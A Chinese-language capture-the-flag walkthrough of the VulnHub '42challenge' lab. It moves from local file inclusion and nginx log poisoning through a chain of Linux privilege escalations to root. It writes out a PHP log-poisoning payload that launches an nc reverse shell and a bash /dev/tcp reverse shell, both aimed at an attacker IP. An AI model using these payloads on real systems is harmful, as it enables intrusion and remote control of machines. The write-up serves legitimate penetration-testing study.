记一次渗透后运用多种方式提权实战 – 作者:windcctv

近期在学习Linux提权,完成了vulnhub上的42challenge靶场。该靶场在web渗透阶段表现的中规中矩,但在获得shell后的提权过程中,表现很出色。提权题目设计的逻辑严谨(不会出现突然的脑洞让你卡住),注重基础知识的考察,要求的知识面也很广,涉及到密码破解、程序逆向分析、第三方应用提权、进程提权、ssh免密登录、Linux ACL访问控制权限等方面的知识,属于不可多得的精品之作,下面就开始这次靶场实战之旅。

一、主机端口探测

利用命令arp-scan -l来发现靶机,然后看看靶机开放了哪些端口;

图片[1]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科

在利用nmap的脚本探测下端口可能存在的漏洞;

图片[2]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科发现就开放了2个端口,22端口显然不是这里突破的重点,重点应该时web端口。

二、web渗透获取shell

访问下web看看;

图片[3]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科看到这个第一直觉时命令执行漏洞,尝试输入:

127.0.0.1&whoami、127.0.0.1|whoami、127.0.0.1&&whoami、127.0.0.1||whoami都没有正确返回。后来有新的发现:

图片[4]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科看到这个,联想到文件包含;

图片[5]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科原来是本地包含,下面就利用日志来getshell。尝试了包含/var/log/auth.log,没有成功,那就不能利用ssh登录日志来获取shell,我们通过nmap扫描知道web的中间件是nginx,那我们就可以利用nginx日志来getshell。

1、nginx访问日志getshell

访问日志可以读取到;

图片[6]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科

写入shell:

curl -A “<?=system(‘nc -nv 192.168.0.3 8888 -e /bin/bash’);?>” http://192.168.0.40/index.php

图片[7]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科

通过文件包含触发反弹;

图片[8]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科

接收反弹;

图片[9]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科

2、nginx错误日志getshell

错误日志也可读取到;

图片[10]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科

写入shell;

图片[11]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科

通过文件包含触发反弹;

图片[12]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科

接收反弹;

图片[13]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科这里也可以将nc的反弹命令改为其他的反弹方式,比如一句话、php反弹或bash反弹都可以,就不逐个演示了,大家根据实际情况选择。

弹回了shell,下一步就该提权了,也到了本靶场的精华之处,开始提权的漫长之旅。

三、辅助脚本利用

有了www-data用户的shell,先尝试下有没有suid提权的可能;

图片[14]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科没有线索,看下用户文件;

图片[15]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科后来实践证明是要依次由这5个用户逐个提权,最后才能提权到root用户。

先上内核辅助脚本 linux-exploit-suggester.sh

图片[16]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科要是内核可以提权,这靶场就没啥意思了;

在看看辅助脚本linpeas.sh的结果;(结果很多,就给出研判后可用的结果)

图片[17]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科找了半天,去看看备份的密码文件。

四、shadow文件爆破

可以看到用户的密码文件;

图片[18]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科然后用john来破解;

图片[19]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科爆破作为最基础的一种方式,还是需要掌握对shadow文件的爆破方法。现在可以开心的ssh

连接了,进入下一个提权。

五、程序逆向分析—suid提权

ssh连接后,sudo -l 没有发现,但suid发现线索;

图片[20]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科运行下试试;

图片[21]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科祭出神器IDA来看看;

图片[22]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科

图片[23]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科

图片[24]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科看的还是累,上gdb;

图片[25]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科进入关键函数try,继续看;

图片[26]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科在内存里发现了正确的密码;

图片[27]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科提权成功,进行下一个阶段。

六、nano提权—sudo -l提权

图片[28]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科这里考的是nano的sudo提权;

首先  sudo -u maria /bin/nano 进入界面;

图片[29]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科

然后在键盘上按住ctrl+r,

图片[30]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科

接着再按住ctrl+x;

图片[31]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科

现在就可以输入命令了;

图片[32]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科完成了提权;

因为看着不方便,所以可以用bash重新反弹个通道;

echo “bash -i >& /dev/tcp/192.168.0.3/6666 0>&1” | bash

图片[33]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科还可以用高端一点的方法,ssh免密登录。

ssh免密登录

kali下生成自己的公钥,口令为空;

图片[34]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科

靶机上创建 .ssh文件夹;

图片[35]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科

靶机上把kali的公钥放到认证文件里;

图片[36]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科

ssh免密登录;

图片[37]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科接下来进行下一步提权。

七、进程提权

1、修改源文件提权

图片[38]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科sudo因为没有密码,所以无法查看,suid没发现明显的线索,之前sudo -l和suid两种提权方式都试过了,这里应该考察其他方式了;

也没有考到计划任务提权;

图片[39]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科运行下脚本pspy64试试;

图片[40]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科发现线索,uid=1003 就是pedro用户;图片[41]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科

既然Reporting_System_Info.sh定期运行,于是想到如果能修改该程序的内容,那就可以获得shell。

图片[42]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科

图中后面的+号表示 Linux ACL访问控制权限,类似于 Windows 系统中分配权限的方式,单独指定用户并单独分配权限,这样就解决了用户身份不足的问题。

图片[43]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科可以看到我们不能直接修改Reporting_System_Info.sh,但是根据源码,程序要运行Send_Reporting_Email.sh,我们可以伪造/home/maria/Send_Reporting_Email.sh这个文件,也同样会执行;

图片[44]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科图片[45]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科到这里这一步提权完成,继续进行下一步;

2、修改python库文件提权

根据前面进程的监控发现;

图片[40]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科

uid=1004就是laura用户,根据前面的思路,我们同样想修改程序,先来看看程序的权限;

图片[47]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科图片[48]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科图片[49]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科

因为源文件不可以修改,思路是去修改源文件里调用的python库文件;

图片[50]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科

找到库文件的位置,同时发现库文件是可以修改的;

写入shell,等待执行;

图片[51]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科反弹成功;

图片[52]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科到这里除了root外所有的用户都提权过一遍,加油!

八、修改程序提权—sudo -l 提权

图片[53]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科看到sudo -l 直接提权到root,最后一关简单点,不多解释了。当然,如果你感觉最后一关太简单了,不符合终极boss的气质,也可以玩个加强版。

九、加强版

在目录下发现可疑文件;

图片[54]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科把程序拷贝出来,祭出神器IDA分析;

加密程序;

图片[55]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科

对应的解密程序;

图片[56]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科由此可以看出,加密其实就是把明文加5,解密就是把密文减5,这里可以直接写个程序来跑,此处我们直接用动态调试来解决。

先运行下看看;

图片[57]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科

在打开文件处下断点,准备修改打开文件的参数;因为不修改参数的结果已经看到了,并不是我们想要的结果;

图片[58]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科图片[59]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科图片[60]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科图片[61]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科

获取了root用户的密码,验证一下试试;

由最开始的ssh登录后直接就能切换到root用户了;

图片[62]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科至此,整个靶机就打穿了,回顾一下,感觉还是很有乐趣的,思路很常规,没有脑洞点,但基础知识的考察范围很广,并具有一定的规律性,值得多做总结。

十、总结

图片[63]-记一次渗透后运用多种方式提权实战 – 作者:windcctv-安全小百科

来源:freebuf.com 2021-02-20 09:41:29 by: windcctv

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论